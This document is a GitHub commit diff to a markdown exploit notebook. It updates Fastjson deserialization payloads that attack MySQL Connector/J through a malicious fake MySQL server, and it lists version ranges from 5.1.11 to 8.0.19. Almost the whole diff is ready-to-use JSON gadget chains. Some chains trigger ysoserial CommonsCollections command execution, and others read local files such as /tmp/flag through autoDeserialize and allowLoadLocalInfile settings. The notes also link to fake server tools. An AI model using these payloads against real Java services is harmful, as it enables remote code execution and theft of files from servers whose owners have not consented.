Skip to content

Commit 2d0a57e

Browse files
committed
debug mysql-connector fileread error
1 parent 1072e77 commit 2d0a57e

File tree

1 file changed

+20
-17
lines changed

1 file changed

+20
-17
lines changed

recurring.md

+20-17
Original file line numberDiff line numberDiff line change
@@ -802,7 +802,6 @@ https://tyskill.github.io/posts/fastjson%E6%97%A0%E5%9B%9E%E6%98%BE%E8%AF%BB%E6%
802802

803803
## Mysql connect RCE
804804
### Fake Server
805-
> https://github.com/dushixiang/evil-mysql-server
806805
> https://github.com/fnmsd/MySQL_Fake_Server
807806

808807
```xml
@@ -813,16 +812,17 @@ https://tyskill.github.io/posts/fastjson%E6%97%A0%E5%9B%9E%E6%98%BE%E8%AF%BB%E6%
813812
</dependency>
814813
```
815814

816-
#### 5.1.11<=version<=5.1.48
815+
#### [5.1.11, 5.1.48]
817816
```json
818817
{
819818
"@type": "java.lang.AutoCloseable",
820819
"@type": "com.mysql.jdbc.JDBC4Connection",
821820
"hostToConnectTo": "127.0.0.1",
822821
"portToConnectTo": 3306,
823822
"info": {
824-
"user": "yso_CommonsCollections5_calc",
823+
"user": "fileread_/tmp/flag",
825824
"password": "pass",
825+
"maxAllowedPacket": "655360",
826826
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
827827
"autoDeserialize": "true",
828828
"NUM_HOSTS": "1"
@@ -832,7 +832,7 @@ https://tyskill.github.io/posts/fastjson%E6%97%A0%E5%9B%9E%E6%98%BE%E8%AF%BB%E6%
832832
}
833833
```
834834

835-
#### 6.0.2 or 6.0.3
835+
#### [6.0.2, 6.0.6]
836836
```json
837837
{
838838
"@type": "java.lang.AutoCloseable",
@@ -845,7 +845,7 @@ https://tyskill.github.io/posts/fastjson%E6%97%A0%E5%9B%9E%E6%98%BE%E8%AF%BB%E6%
845845
}
846846
```
847847

848-
#### 8.0.19
848+
#### [8.0.7-dmr, 8.0.19]
849849
```json
850850
{
851851
"@type": "java.lang.AutoCloseable",
@@ -862,11 +862,12 @@ https://tyskill.github.io/posts/fastjson%E6%97%A0%E5%9B%9E%E6%98%BE%E8%AF%BB%E6%
862862
"slaves": [],
863863
"properties": {
864864
"host": "127.0.0.1",
865-
"user": "yso_CommonsCollections5_calc",
865+
"user": "yso_CommonsCollections5_open -a Calculator.app",
866866
"dbname": "dbname",
867867
"password": "pass",
868868
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
869-
"autoDeserialize": "true"
869+
"autoDeserialize": "true",
870+
"allowLoadLocalInfile": "true"
870871
}
871872
}
872873
}
@@ -1025,7 +1026,7 @@ exp.xml - cmd
10251026
</dependency>
10261027
```
10271028

1028-
#### 5.1.11<=version<=5.1.48
1029+
#### [5.1.11, 5.1.48]
10291030
```json
10301031
{
10311032
"a":{
@@ -1042,14 +1043,15 @@ exp.xml - cmd
10421043
"@type":"com.ziclix.python.sql.PyConnection",
10431044
"connection":{
10441045
"@type": "com.mysql.jdbc.JDBC4Connection",
1045-
"hostToConnectTo": "192.168.66.136",
1046+
"hostToConnectTo": "127.0.0.1",
10461047
"portToConnectTo": 3306,
10471048
"info": {
1048-
"user": "yso_CommonsCollections4_calc",
1049+
"user": "fileread_/tmp/flag",
10491050
"password": "pass",
10501051
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
10511052
"autoDeserialize": "true",
1052-
"NUM_HOSTS": "1"
1053+
"NUM_HOSTS": "1",
1054+
"maxAllowedPacket":"655360"
10531055
},
10541056
"databaseToConnectTo": "dbname",
10551057
"url": ""
@@ -1059,7 +1061,7 @@ exp.xml - cmd
10591061

10601062
```
10611063

1062-
#### 6.0.2 or 6.0.3
1064+
#### [6.0.2, 6.0.6]
10631065
```json
10641066
{
10651067
"a":{
@@ -1078,15 +1080,15 @@ exp.xml - cmd
10781080
"@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
10791081
"proxy": {
10801082
"connectionString": {
1081-
"url": "jdbc:mysql://192.168.66.136:3306/test?allowLoadLocalInfile=true&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc"
1083+
"url": "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=fileread_/tmp/flag"
10821084
}
10831085
}
10841086
}
10851087
}
10861088
}
10871089
```
10881090

1089-
#### 8.0.19
1091+
#### [8.0.7-dmr, 8.0.19]
10901092
```json
10911093
{
10921094
"a":{
@@ -1113,11 +1115,12 @@ exp.xml - cmd
11131115
"host":"127.0.0.1",
11141116
"port":"3306",
11151117
"connectionAttributes":"t:cb32",
1116-
"user":"yso_CommonsCollections4_calc",
1118+
"user":"fileread_/tmp/flag",
11171119
"dname":"dname",
11181120
"password":"password",
1119-
"queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
1120-
"autoDeserialize":"true"
1121+
"queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
1122+
"autoDeserialize":"true",
1123+
"allowLoadLocalInfile":"true"
11211124
}
11221125
}
11231126
}

0 commit comments

Comments
 (0)